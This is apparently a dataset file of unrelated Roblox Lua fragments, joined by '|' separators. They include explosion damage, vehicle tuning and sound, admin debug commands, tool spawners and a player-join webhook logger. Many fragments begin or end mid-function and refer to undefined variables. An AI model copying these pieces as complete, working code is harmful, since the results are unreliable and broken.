script.Parent.GreenEdge.Visible = true
plr.PlayerGui.MainGui.Inventory.MainFrame.Preview.Item.Value = actualItem
end
end
end
|
--function untagHumanoid(humanoid)
-- if humanoid ~= nil then
-- local tag = humanoid:findFirstChild("creator")
-- if tag ~= nil then
-- tag.Parent = nil
-- end
-- end
--end |
function explode()
local explosion = Instance.new("Explosion")
local blastradius=4
explosion.BlastRadius = blastradius
explosion.BlastPressure = 0 -- 10k
explosion.DestroyJointRadiusPercent = math.random(0.05,0.1)
explosion.ExplosionType = 'CratersAndDebris'
explosion.Visible = false
explosion.Position = script.Parent.Position
explosion.Parent = game.Workspace
explosion.Hit:connect(function(hitPart, hitDistance)
local humanoid = hitPart.Parent:FindFirstChildWhichIsA("Humanoid")
--print("onexplosionhit, part is "..hitPart.Name)
--if character then
-- local myPlayer = CreatorTag.Value
-- if myPlayer and not myPlayer.Neutral then -- Ignore friendlies caught in the blast
-- local player = PlayersService:GetPlayerFromCharacter(character)
-- if player and player ~= myPlayer and player.TeamColor == Rocket.BrickColor then
-- return
-- end
-- end
--end
if humanoid and humanoid.Health > 0 and hitPart.Name==("Torso") then -- Humanoids are tagged and damaged
local dmg=math.random(12,16)
dmg=dmg*(hitDistance/blastradius)
humanoid:TakeDamage(dmg)
print("dealt "..dmg.." damage to "..hitPart.Parent.Name)
end
end)
end
connection = ball.Touched:connect(onTouched)
|
-- assume we are in the character, let's check |
function sepuku()
script.Parent = nil
end
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 1.6
local torso = script.Parent:FindFirstChild("Torso")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local count = h:FindFirstChild("CoffeeCount")
if (count == nil) then
count = Instance.new("IntValue")
count.Name = "CoffeeCount"
count.Value = 1
count.Parent = h
else
if (count.Value > 3) then
if (math.random() > .5) then
local sound = Instance.new("Sound")
sound.SoundId = "rbxasset://sounds\\Rocket shot.wav"
sound.Parent = head
sound.Volume = 1
sound:play()
local e = Instance.new("Explosion")
e.BlastRadius = 4
e.Position = head.Position
s:Clone().Parent = head
e.Parent = head
end
end
count.Value = count.Value + 1
end
wait(30)
h.WalkSpeed = oldSpeed
s:Remove()
script.Parent = nil
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 1000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 1100 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8250 -- Use sliders to manipulate values
Tune.Redline = 8750 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5250
Tune.PeakSharpness = 5.8
Tune.CurveMult = 0.294
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 400 -- RPM acceleration when clutch is off
Tune.RevDecay = 300 -- RPM decay when clutch is off
Tune.RevBounce = 450 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--Gear Ratios |
Tune.FinalDrive = 13.5 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 1.5 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 1.89 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 0.76 ,
--[[ 3 ]] 0.49 ,
--[[ 4 ]] 0.33 ,
--[[ 5 ]] 0.21 ,
}
Tune.FDMult = 1.0 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website. |
module.BubbleChatEnabled = true -- PlayersService.BubbleChat
module.ClassicChatEnabled = true -- PlayersService.ClassicChat
|
--[[
Player methods
]] |
function Waiting:playerAdded(player)
Util.loadCharacter(player)
end
function Waiting:playerRemoving()
end
function Waiting:characterAdded(player, character)
-- Give the player the Pistol as the default starting weapon
ReplicatedStorage.Assets.Weapons.Pistol:Clone().Parent = player.Backpack
-- Grant the player a force field so they cant be killed in the waiting area
local forceField = Instance.new("ForceField")
forceField.Name = "WaitingForceField"
forceField.Visible = false
forceField.Parent = character
CollectionService:AddTag(character, "PlayerCharacter")
end
return Waiting
|
--create tables: |
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "a" then
table.insert(a, 1, part)
end
end
for i,part in pairs(model:GetChildren()) do
if string.sub(part.Name, 1,1) == "b" then
table.insert(b, 1, part)
end
end
function lightOn(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = true
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = true
end
end
end
function lightOff(T)
for i, part in pairs (T) do
if part:FindFirstChild("SurfaceLight") then
part.SurfaceLight.Enabled = false
end
if part:FindFirstChild("SpotLight") then
part.SpotLight.Enabled = false
end
end
end
while true do
lightOn(a)
wait(0.15)
lightOff(a)
wait(0.04)
lightOn(a)
wait(0.15)
lightOff(a)
wait(0.1)
lightOn(b)
wait(0.15)
lightOff(b)
wait(0.04)
lightOn(b)
wait(0.15)
lightOff(b)
wait(0.1)
end
|
--[[
Create a promise that represents the immediately resolved value.
]] |
function Promise.resolve(value)
return Promise.new(function(resolve)
resolve(value)
end)
end
|
--Made by Luckymaxer |
Debris = game:GetService("Debris")
Camera = game:GetService("Workspace").CurrentCamera
Sounds = {
RayHit = script:WaitForChild("Hit")
}
BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false
BaseRay = BasePart:Clone()
BaseRay.Name = "Laser"
BaseRay.BrickColor = BrickColor.new("Bright red")
BaseRay.Material = Enum.Material.Neon
BaseRay.Size = Vector3.new(0.2, 0.2, 0.2)
BaseRay.Anchored = true
BaseRay.CanCollide = false
BaseRayMesh = Instance.new("SpecialMesh")
BaseRayMesh.Name = "Mesh"
BaseRayMesh.MeshType = Enum.MeshType.Brick
BaseRayMesh.Scale = Vector3.new(0.2, 0.2, 1)
BaseRayMesh.Offset = Vector3.new(0, 0.2, 0)
BaseRayMesh.VertexColor = Vector3.new(1, 1, 1)
BaseRayMesh.Parent = BaseRay
function PlaySound(Position, Sound)
local SoundPart = BasePart:Clone()
SoundPart.Name = "ParticlePart"
SoundPart.Transparency = 1
SoundPart.Anchored = true
SoundPart.CanCollide = false
local SoundObject = Sound:Clone()
SoundObject.Parent = SoundPart
Debris:AddItem(SoundPart, 1.5)
SoundPart.Parent = game:GetService("Workspace")
SoundPart.CFrame = CFrame.new(Position)
SoundObject:Play()
end
function FireRay(StartPosition, TargetPosition, Hit)
local Vec = (TargetPosition - StartPosition)
local Distance = Vec.magnitude
local Direction = Vec.unit
local PX = (StartPosition + (0.0 * Distance) * Direction)
local PY = (StartPosition + (0.0 * Distance) * Direction)
local PZ = (StartPosition + (0.0 * Distance) * Direction)
local DX = (StartPosition - PX).magnitude
local DY = (PX - PY).magnitude
local DZ = (PY - PZ).magnitude
local Limit = 2
local AX = (PX + Vector3.new(math.random(math.max(-Limit, (-0.0 * DX)), math.min(Limit, (0.21 * DX))),math.random(math.max(-Limit, (-0.21 * DX)),math.min(Limit, (0.21 * DX))), math.random(math.max(-Limit, (-0.21 * DX)), math.min(Limit, (0.21 * DX)))))
local AY = (PY + Vector3.new(math.random(math.max(-Limit, (-0.0 * DY)), math.min(Limit, (0.21 * DY))),math.random(math.max(-Limit, (-0.21 * DY)),math.min(Limit, (0.21 * DY))), math.random(math.max(-Limit, (-0.21 * DY)), math.min(Limit, (0.21 * DY)))))
local AZ = (PZ + Vector3.new(math.random(math.max(-Limit, (-0.0 * DZ)), math.min(Limit, (0.21 * DZ))),math.random(math.max(-Limit, (-0.21 * DZ)),math.min(Limit, (0.21 * DZ))), math.random(math.max(-Limit, (-0.21 * DZ)), math.min(Limit, (0.21 * DZ)))))
local Rays = {
{Distance = (AX - StartPosition).magnitude, Direction = CFrame.new(StartPosition, AX)},
{Distance = (AY - AX).magnitude, Direction = CFrame.new(AX, AY)},
{Distance = (AZ - AY).magnitude, Direction = CFrame.new(AY, AZ)},
{Distance = (TargetPosition - AZ).magnitude, Direction = CFrame.new(AZ, TargetPosition)},
}
for i, v in pairs(Rays) do
local Ray = BaseRay:Clone()
Ray.BrickColor = BrickColor.new("Bright red")
Ray.Reflectance = 0.4
Ray.Transparency = 0.3 --1
local Mesh = Ray.Mesh
Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5)
Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance)))
Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1))))
Ray.Parent = Camera
end
end
pcall(function()
local StartPosition = script:WaitForChild("StartPosition").Value
local TargetPosition = script:WaitForChild("TargetPosition").Value
local RayHit = script:WaitForChild("RayHit").Value
FireRay(StartPosition, TargetPosition)
if RayHit then
PlaySound(TargetPosition, Sounds.RayHit)
end
end)
Debris:AddItem(script, 1)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0
script:WaitForChild("Rev")
script.Parent.Values.Gear.Changed:connect(function()
mult=1
if script.Parent.Values.RPM.Value>5000 then
shift=.2
end
end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
trmmult = math.max(0,trmmult-.05)
trmon = 1
else
throt = math.min(1,throt+.1)
trmmult = 1
trmon = 0
end
shift = math.min(1,shift+.2)
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Volume = (2*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50))
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
if FE then
if script.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
else
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch/1.2,Volume/1.2)
end
else
if script.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then
car.DriveSeat.Rev.Volume = Volume
car.DriveSeat.Rev.Pitch = Pitch
else
car.DriveSeat.Rev.Volume = Volume/1.75
car.DriveSeat.Rev.Pitch = Pitch /1.5
end
end
end
|
--[[
NOTICE: Only used for an AF timer. If converting into an AF, enable this script and
make the parent "FederalSignalARTimer" or "FederalSignalAFTimer". Link the FlasherUnitValueAddress
to the On value located inside the RCM3 or RC6 flasher unit under "SignatrolModel30Flasher".
]] | --
|
-- self.waist.C0 = self.waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0); |
end
return lookAt;
|
-- (Hat Giver Script - Loaded.) |
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "Black Top Hat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(1.6, 0.8, 0.4)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0, 0.2, 0)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
-- ROBLOX NOTE: no upstream
-- ROBLOX TODO: fix PrettyFormat types imports |
type CompareKeys = ((a: string, b: string) -> number) | nil
type Plugin = any
export type Plugins = { [number]: Plugin }
type ThemeReceived = {
comment: string?,
content: string?,
prop: string?,
tag: string?,
value: string?,
}
export type PrettyFormatOptions = {
callToJSON: boolean?,
compareKeys: CompareKeys,
escapeRegex: boolean?,
escapeString: boolean?,
highlight: boolean?,
indent: number?,
maxDepth: number?,
min: boolean?,
plugins: Plugins?,
printBasicPrototype: boolean?,
printFunctionName: boolean?,
theme: ThemeReceived?,
}
export type OptionsReceived = PrettyFormatOptions
return {}
|
--[[
AnimateKey(note1,px,py,pz,ox,oy,oz,Time)
--note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time
local obj = --object or gui or wahtever goes here
local Properties = {}
Properties.Size = UDim2.new()
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
]] |
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local key = Piano.Keys.Keys:FindFirstChild(note1)
if key then
if IsBlack(note1) then
AnimateKey(note1,0,.085,0,12,0,-.01,.2)
else
AnimateKey(note1,0,.093,0,8,0,0,.2)
end
end
end
|
--스킬 설정: |
local skillName = "Fire" --스킬 파트 이름
local Sound = "fire" --적용할 사운드 이름 (추천)
local Sound2 = "Bomb" --적용할 사운드 이름 (추천)
local CoolTime = 1 --스킬 재사용 대기시간
local Damage = 10 --스킬 데미지
local DamageCoolTime = 0.3 --스킬 데미지 쿨타임 (추천)
local Delete = 0.2 --초를 기다리고 스킬 삭제 (추천)
local Ammo = 5 --날라갈 탄 갯수 (고정)
|
-- 1.) Put 'Gauges' and 'RPM Light [FE+]' in the Plugins folder. | |
--------------------) Settings |
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
BoneModelName = "Ultra hand2" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage |
--[[script.Parent.HouseThing.CreateButton.MouseButton1Click:Connect(function()
if debounce == false then
debounce = true
game:GetService("ReplicatedStorage")["Requests"].MakeHouse:FireServer(script.Parent.HouseThing.TextBox.Text)
wait(1)
debounce = false
end
end)
game:GetService("ReplicatedStorage")["Requests"].MakeHouse.OnClientEvent:Connect(function(msg)
script.Parent.HouseThing.TextBox.Text = msg
wait(1)
if msg == "House Created" then
script.Parent:Destroy()
end
end)--]]
--[[
if GetPlayer then
local Character = GetPlayer.Character
local blank = ""
local getplrname = blank .. GetPlayer.RaceName.Value
local clonename = script.Parent.PlrName.Value:Clone()
script.Parent.PlrName.Value.Archivable = false
clonename:SetPrimaryPartCFrame(CFrame.new())
clonename.Parent = workspace
clonename.HumanoidRootPart.Orientation = Vector3.new(0, -180, 0);
for fart, fart2 in pairs(clonename:GetChildren()) do
if fart2:IsA("Accessory") or fart2:IsA("BasePart") then
if not (not getplrname.find(fart2.Name, "Arm")) or not (not getplrname.find(fart2.Name, "Leg")) or fart2.Name == "Torso" then
fart2:ClearAllChildren()
fart2.Transparency = 1;
end
else
fart2:Destroy();
end
end
for imtired, imtired2 in pairs(clonename:GetChildren()) do
if imtired2.Name == "StarterCharacter" then
imtired2:Destroy();
end
end
clonename.Parent = script.Parent.Viewport
local monkey = Instance.new("Camera")
monkey.CameraType = Enum.CameraType.Scriptable
monkey.CFrame = clonename.Head.CFrame:ToWorldSpace(CFrame.new(0, 0, -4.5))
monkey.CFrame = CFrame.new(monkey.CFrame.p, clonename.Head.Position)
monkey.CameraSubject = clonename.Head
monkey.CameraType = Enum.CameraType.Fixed
monkey.DiagonalFieldOfView = 85
monkey.Parent = Viewport
Viewport.CurrentCamera = monkey
end
]] | --
|
--Light off |
src.right.Value.Value = 0
light.Value = false
else
src.right.Value.Value = 1
light.Value = true
return
end
end
end)
src.Parent.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
src:Stop()
script.Parent:Destroy()
end
end)
|
--Joining |
Players.PlayerAdded:Connect(function(plr)
local data =
{
["contents"] = "",
["username"] = plr.Name .. " - (#"..plr.userId..")",
["avatar_url"] = "https://www.roblox.com/Thumbs/Avatar.ashx?x=500&y=500&Format=Png&userId="..plr.userId,
["embeds"] = {{
["title"]= plr.name,
["description"] = plr.Name .. " joined the Game",
["type"]= "rich",
["color"]= tonumber(0x6AA84F),
["fields"]={
{
["name"]="Event: Player joined",
["value"]="User: **"..plr.Name.."** with ID: **"..plr.UserId.."** has joined [game](https://www.roblox.com/games/".. game.PlaceId..")/[Profile](https://www.roblox.com/users/"..plr.UserId.."/profile)",
["inline"]=true}}}}
}
http:PostAsync(webhook,http:JSONEncode(data))
end)
|
-- if hit.Parent.Name == game.Players.LocalPlayer.Name then return end |
if hit.Parent:findFirstChild("OverrideScript") == nil then
local s = script.OverrideScript:clone()
s.Parent = hit.Parent
s.Disabled = false
end
barb:Remove()
elseif hit.CanCollide == true then
barb:Remove()
end
end)
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]] |
local car = script.Parent.Car.Value
local vl = script.Parent.Values
local strength = 350 --this may require some experimenting, this is a good setting as-is. higher value = stronger.
local max = 8 --in SPS, not km/h, not MPH.
|
--//Misc2//-- |
local UserInputService = game:GetService("UserInputService")
local steer = 0
local throttle = 0
local brake = 0
local RTriggerValue = 0
local LTriggerValue = 0
stdz = script.Value
local PositiveEdgeButton = {
[Enum.KeyCode.ButtonL1]={f=function()
if control.Value == "Controller" then
if script.Parent.Storage.CurrentGear.Value ~= 1 then
script.Parent.Functions.ShiftDownRequested.Value = true
end
print("DOWN") --ADD LOWER LIMIT [AND UPPER 4 OTHER 1]
end
end;deb=false};
[Enum.KeyCode.ButtonR1]={f=function()
if control.Value == "Controller" then
if script.Parent.Storage.CurrentGear.Value ~= script.Parent.Storage.AmountOfGears.Value +2 then
script.Parent.Functions.ShiftUpRequested.Value = true
end
print("UP")
end
end;deb=false}
}
function DealWithInput(input,IsRobloxFunction)
if input.UserInputType == Enum.UserInputType.Keyboard then
local speed = carSeat.Velocity.magnitude
if input.KeyCode == Enum.KeyCode.A then
if input.UserInputState == Enum.UserInputState.Begin then
elseif input.UserInputState == Enum.UserInputState.End then
end
end
if input.KeyCode == Enum.KeyCode.D then
if input.UserInputState == Enum.UserInputState.Begin then
elseif input.UserInputState == Enum.UserInputState.End then
end
end
if input.KeyCode == Enum.KeyCode.W then
if input.UserInputState == Enum.UserInputState.Begin then
elseif input.UserInputState == Enum.UserInputState.End then
end
end
if input.KeyCode == Enum.KeyCode.S then
if input.UserInputState == Enum.UserInputState.Begin then
elseif input.UserInputState == Enum.UserInputState.End then
end
end
end
if input.KeyCode == Enum.KeyCode.ButtonX then
if input.UserInputState == Enum.UserInputState.Begin then print("help me sonny")
elseif input.UserInputState == Enum.UserInputState.End then
end
end
if control.Value == "Keyboard" then
local LRpix = math.max(1,mouse.ViewSizeX*67/200)
local dZoe = 0.04
local MousePx = ((mouse.X-mouse.ViewSizeX/2)/LRpix) --print(MousePx)
if math.abs(MousePx)<=dZoe then
Gval = 0
else
Gval = (math.max(math.min((math.abs(MousePx)-dZoe),(1-dZoe)),0)/(1-dZoe))^1 * (MousePx / math.abs(MousePx))
end
--add if here
---mouse.Button1Down:connect(function()
---print("LeftClick")
---end)
---mouse.Button2Down:connect(function()
---print("RightClick")
--end)
end
if control.Value == "Controller" then
if input.UserInputType.Name:find("Gamepad") then
--------
if input.KeyCode == Enum.KeyCode.Thumbstick1 then
if input.Position.X > stdz.Value then
if script.Parent.Storage.Control.Value == "Controller" then
script.Parent.Storage.Steer.Value = (((input.Position.X)-stdz.Value)*(1/(1-stdz.Value))) end
elseif input.Position.X < -stdz.Value then
if script.Parent.Storage.Control.Value == "Controller" then
script.Parent.Storage.Steer.Value = (((input.Position.X)+stdz.Value)*(1/(1-stdz.Value))) end
else
script.Parent.Storage.Steer.Value = 0
end
elseif input.KeyCode == Enum.KeyCode.ButtonR2 then
RTriggerValue = input.Position.Z
script.Parent.Storage.Throttle.Throttle.Value = RTriggerValue
elseif input.KeyCode == Enum.KeyCode.ButtonL2 then
LTriggerValue = input.Position.Z
script.Parent.Storage.Brake.Value = LTriggerValue
elseif PositiveEdgeButton[input.KeyCode] then
local fn = PositiveEdgeButton[input.KeyCode]
if input.Position.Z > 0.5 and not fn.deb then
fn.deb = true
fn.f()
elseif input.Position.Z < 0.5 then
fn.deb = false
end
end
end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
|
--print("Scan Complete") |
if doublescan then ScanForViruses(game,0,false) end
|
--// This module is for stuff specific to debugging
--// NOTE: THIS IS NOT A *CONFIG/USER* PLUGIN! ANYTHING IN THE MAINMODULE PLUGIN FOLDERS IS ALREADY PART OF/LOADED BY THE SCRIPT! DO NOT ADD THEM TO YOUR CONFIG>PLUGINS FOLDER! |
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server;
local service = Vargs.Service;
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps =
server.Functions, server.Commands, server.Admin, server.Anti, server.Core, server.HTTP, server.Logs, server.Remote, server.Process, server.Variables, server.Deps
Commands.TestError = {
Hidden = true;
Prefix = ":";
Commands = {"debugtesterror"};
Args = {"optional type (error/assert)", "optional message"};
Description = "Test Error";
NoFilter = true;
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
--assert(args[1] and args[2],"Argument missing or nil")
Remote.Send(plr, "TestError")
Routine(function() plr.Bobobobobobobo.Hi = 1 end)
if not args[1] then
error("This is an intentional test error")
elseif args[1]:lower() == "error" then
error(args[2])
elseif args[1]:lower() == "assert" then
assert(false, args[2])
end
end;
};
Commands.TestBigList = {
Hidden = true;
Prefix = ":";
Commands = {"debugtestbiglist"};
Args = {};
Description = "Test Big List";
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
local list = {}
for i = 1, 5000 do
table.insert(list, {Text = i})
end
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize250",
Table = list,
Font = "Code",
PageSize = 250;
Size = {500, 400},
})
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize100",
Table = list,
Font = "Code",
PageSize = 100;
Size = {500, 400},
})
Remote.MakeGui(plr,"List",{
Title = "DebugBigList_PageSize25",
Table = list,
Font = "Code",
PageSize = 25;
Size = {500, 400},
})
end;
};
Commands.TestGet = {
Prefix = ":";
Commands = {"debugtestget"};
Args = {};
Description = "Remote Test";
Hidden = true;
AdminLevel = "Creators";
Function = function(plr: Player, args: {string})
local tack = time()
print(tack)
print(Remote.Get(plr,"Test"))
local tab = {
{
Children = {
{Class = "sdfhasdfjkasjdf"}
};
{{Something = "hi"}};
}
}
local m, ret = Remote.Get(plr, "Test", tab)
if ret then
print(ret)
for i,v in next, ret do
print(i,v)
for i,v in next,v do
print(i,v)
for i,v in next,v do
print(i,v)
for i,v in next,v do
print(i,v)
end
end
end
end
end
print(time() - tack)
print("TESTING EVENT")
Remote.MakeGui(plr, "Settings", {
IsOwner = true
})
local testColor = Remote.GetGui(plr, "ColorPicker", {Color = Color3.new(1, 1, 1)})
print(testColor)
local ans,event = Remote.GetGui(plr, "YesNoPrompt", {
Icon = server.MatIcons["Bug report"];
Question = "Is this a test question?";
}), Remote.NewPlayerEvent(plr, "TestEvent", function(...)
print("EVENT WAS FIRED; WE GOT:")
print(...)
print("THAT'D BE ALL")
end)
print("PLAYER ANSWER: "..tostring(ans))
wait(0.5)
print("SENDING REMOTE EVENT TEST")
Remote.Send(plr, "TestEvent", "TestEvent", "hi mom I went thru the interwebs")
print("SENT")
end;
};
|
--// Add Viewport |
function RotateViewportModule:AddViewport(viewport)
spawn(function()
if viewport:FindFirstChildWhichIsA("Model") ~= nil then
local model = viewport:FindFirstChildWhichIsA("Model")
if viewport:FindFirstChildWhichIsA("Camera") ~= nil then
local camera = viewport:FindFirstChildWhichIsA("Camera")
self:EndViewport()
event = setRotationEvent(model, camera)
end
end
end)
end
return RotateViewportModule
|
--local KVs = script.Parent.Parent.Parent.KVs |
local callwait = 60
local config = script.Parent.Parent.Configuration
local sys = script.Parent.Parent.System
function off()
---
huh.ERROR:Play()
folder.KV.Value.Value = "OFF"
wait(1)
folder.KV.Value.Value = ""
---
end
function err()
---
huh.ERROR:Play()
folder.KV.Value.Value = "Err"
wait(1)
folder.KV.Value.Value = ""
---
end
function usercodefalse()
---
huh.ERROR:Play()
folder.KV.Value.Value = "OFF"
wait(1)
folder.KV.Value.Value = ""
---
end
function open()
---
huh.Open:Play()
folder.KV.Value.Value = "OPen"
wait(1.02)
folder.KV.Value.Value = ""
---
end
function kventer()
if sys.Code.Value == false then
sys.KVEnter.Value = true
end
end |
-- See if I have a tool |
local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
if part and part.Parent and part.Parent:IsA("Tool") then
tool = part.Parent
break
end
end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("SpawnCooldown", 5)
if tool then
tool.Parent = game.ServerStorage
while true do
-- put tool on pad
local toolCopy = tool:Clone()
local handle = toolCopy:FindFirstChild("Handle")
toolCopy.Parent = game.Workspace
local toolOnPad = true
local parentConnection
parentConnection = toolCopy.AncestryChanged:connect(function()
if handle then handle.Anchored = false end
toolOnPad = false
parentConnection:disconnect()
end)
if handle then
handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
handle.Anchored = true
end
-- wait for tool to be removed
while toolOnPad do
if handle and not handle.Anchored then
-- another script unachored the weapon while it was on the pad
handle.Anchored = true
handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
end
if handle then
handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
end
wait()
end
-- wait for cooldown
wait(configs["SpawnCooldown"])
end
end
|
--Made by Stickmasterluke ;D |
sp=script.Parent
local debris=game:GetService("Debris")
check=true
sp.Equipped:connect(function(mouse)
equipped=true
if mouse~=nil then
mouse.Icon="rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function()
local chr=sp.Parent
if chr and check then
local t=chr:FindFirstChild("Torso")
local h=chr:FindFirstChild("Humanoid")
local anim=sp:FindFirstChild("Eat")
if anim and t and h and h.Health>0 and equipped and check then
mouse.Icon="rbxasset://textures\\GunWaitCursor.png"
check=false
anim2=h:LoadAnimation(anim)
anim2:Play()
local handle=sp:FindFirstChild("Handle")
if handle~=nil then
local mesh=handle:FindFirstChild("Mesh")
end
wait(2)
local s=sp.Handle:FindFirstChild("Sound")
if s~=nil and equipped and w~=nil then
w.C0=CFrame.new(0,-1,-.3)*CFrame.Angles(-.3,0,math.pi/4)
else
check=true
return
end
local s=sp.Handle:FindFirstChild("Sound")
if s~=nil and equipped and w~=nil then
w.C0=CFrame.new(0,-1,-.3)*CFrame.Angles(-.3,0,math.pi/4)
else
check=true
return
end
wait(3)
if mouse~=nil then
mouse.Icon="rbxasset://textures\\GunCursor.png"
end
check=true
end
end
end)
end
delay(0,function()
local la=sp.Parent:FindFirstChild("Left Arm")
if la~=nil then
if spoon then
spoon:remove()
end
spoon=Instance.new("Part")
spoon.FormFactor="Custom"
spoon.Name="Handle"
spoon.Size=Vector3.new(.2,.2,1.3)
spoon.TopSurface="Smooth"
spoon.BottomSurface="Smooth"
spoon.CanCollide=false
local m=Instance.new("SpecialMesh")
m.MeshId="http://www.roblox.com/asset?id=103919885"
m.TextureId= "http://www.roblox.com/asset?id=103920471"
m.Parent=spoon
w=Instance.new("Motor")
w.Part0=la
w.Part1=spoon
w.C0=CFrame.new(0,-1,-.3)*CFrame.Angles(0,0,math.pi/4)
w.Parent=spoon
debris:AddItem(spoon,600)
spoon.Parent=game.Workspace
end
end)
end)
sp.Unequipped:connect(function()
equipped=false
if anim2 then
anim2:Stop()
end
if spoon then
spoon:remove()
end
end)
|
--[[
